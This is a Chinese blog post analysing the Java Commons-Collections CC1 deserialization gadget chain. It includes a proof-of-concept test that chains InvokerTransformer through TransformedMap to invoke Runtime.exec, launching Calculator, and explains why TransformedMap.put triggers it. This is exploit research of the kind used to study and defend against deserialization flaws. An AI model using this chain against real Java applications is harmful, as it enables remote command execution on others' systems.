首页 > 编程语言 >Java Commons-Collections链分析

Java Commons-Collections链分析

时间:2023-07-24 17:33:29浏览次数:28  
标签:InvokerTransformer 调用 Java Commons Collections new put input chainedTransformer

CC1调用链

代码执行的关键点

InvokerTransformer.java
	transform(Object input)
		 Class cls = input.getClass();
     Method method = cls.getMethod(iMethodName, iParamTypes);
     return method.invoke(input, iArgs);

主要靠transform方法用反射的方式执行命令

input对象可控,iArgs也可控

public void test1() {
  Transformer[] transformers = {
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
  };
  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  HashMap hashMap = new HashMap();
  Map outerMap = TransformedMap.decorate(hashMap, chainedTransformer, chainedTransformer);
  outerMap.put("name", "AurOra");

}

需要借助TransforedMap类重写的put方法

image-20220722111627432 image-20220722111742035

这里重写的put方法接收两个参数,分别调用tranformKey和transforValue函数

跟进这两个函数

image-20220722112244014

valueTransformer这个变量只能被赋值一次,而在decorate方法中初始化构造器的时候给它赋了值

image-20220722112716667 image-20220722112735192

所以它不为null,它的值为InvokerTransformer

ValueTransformer调用transfom方法即为调用InvokerTransformer的transfom

image-20220722115136807

标签:InvokerTransformer,调用,Java,Commons,Collections,new,put,input,chainedTransformer
From: https://www.cnblogs.com/pr1s0n/p/17577841.html

相关文章

  • JavaScript数据结构和算法简述——数组
    为什么先讲数组数据结构可以简单的被分为线性结构和非线性结构。线性结构大致包括:数组(连续存储);链表(离散存储);栈(线性结构常见应用,由链表或数组增删和改进功能实现);队列(线性结构常见应用,由链表或数组增删和改进功能实现);非线性结构大致包括:树;图;其中,数组是应用最广泛的数据存储结构。它被......
  • JavaScript 需要清楚的10件事
    文/谢传贵  在学习JavaScript的过程中,最需要搞清楚的10件事是什么?关于这个问题有人在Quora上给出了的答案。其中提到了一些很有代表性的知识点(坑),但描述比较杂乱。下面我将在他的基础上进行重新编排和解释。希望对你学习JavaScript有些帮助(为避免文章跑题,以下内容先不考虑ES5......
  • 基于Java的日程管理系统开发
    完整资料进入【数字空间】查看——baidu搜索"writebug"摘要日程管理在日常生活中是十分普通的一件事情,人们无论在生活中还是工作中都会有大大小小、各种各样的事情安排,如果仅仅靠纸张或者自己记录这些事情,往往会遗忘。针对这样的痛点,本文提供了日程管理系统开发的一整套流程,从需求......
  • javascript基本数据类型与值类型引用类型说明
    DEMO:http://sources.ikeepstudying.com/jsdata/ 摘要:本文主要讲了javascript中的基本数据类型,以及值类型和引用类型的区别与使用一、基本数据类型在javascript中申明变量使用的关键字都是var,这点与其他的编程语言不尽相同,但是javascript亦含有五种基本的数据类型(也可以说是简......
  • 记录java中zookeeper客户端ZkClient一个小坑
    项目中使用org.I0Itec.zkclient.ZkClient库作为zookeeper的连接工具,一直很稳定。不过有个奇怪的问题,从ZooInspetor中连接Zookeeper,看NodeData,会发现数据像图中这样,字符串前面有一段奇怪的字符:一直不清楚"t%"这些像乱码一样的字符是什么东西。因为项目运行的比较稳定,也没报错,就......
  • 【idea编译问题】可以找打对应的class 但是 idea 提示 java: 找不到符号
    可以找打对应的class但是idea提示java:找不到符号这个问题有的时候,可能是lombock引起的,可以在maven编译的时候填写-Djps.track.ap.dependencies=false......
  • 一次Java垃圾收集调优实战
    1资料JDK5.0垃圾收集优化之--Don'tPause(花钱的年华) 编写对GC友好,又不泄漏的代码(花钱的年华) JVM调优总结 JDK6所有选项及默认值 2GC日志打印 GC调优是个很实验很伽利略的活儿,GC日志是先决的数据参考和最终验证:-XX:+PrintGCDetails-XX:+PrintGCTimeStamps(GC发生的......
  • JavaScript基础-数组(进阶)
    扩展运算符letarr1=[1,2],arr2=[3,4];letarr3=arr1.concat(arr2);letarr4=[...arr1,...arr2]console.log(arr4);用concat 连接然后...展开letarr1=[1,2];letarr2=[...arr1]console.log(arr1,arr2);把arr1的值传给arr2,输出[1,2][1,2]......
  • 【后端面经-Java】String与StringBuffer与StringBuilder的比较
    目录1.String2.StringBuffer3.StringBuilder4.性能提升5.总结和比较面试模拟参考资料1.String不可变查看String源码如下:publicfinalclassStringimplementsjava.io.Serializable,Comparable<String>,CharSequence{/**Thevalueisusedforcharacterstora......
  • Java基础--2021Java面试题系列教程--大白话解读
    前言序言再高大上的框架,也需要扎实的基础才能玩转,高频面试问题更是基础中的高频实战要点。适合阅读人群Java学习者和爱好者,有一定工作经验的技术人,准面试官等。阅读建议本教程是系列教程,包含Java基础,JVM,容器,多线程,反射,异常,网络,对象拷贝,JavaWeb,设计模式,Spring-SpringMVC,SpringB......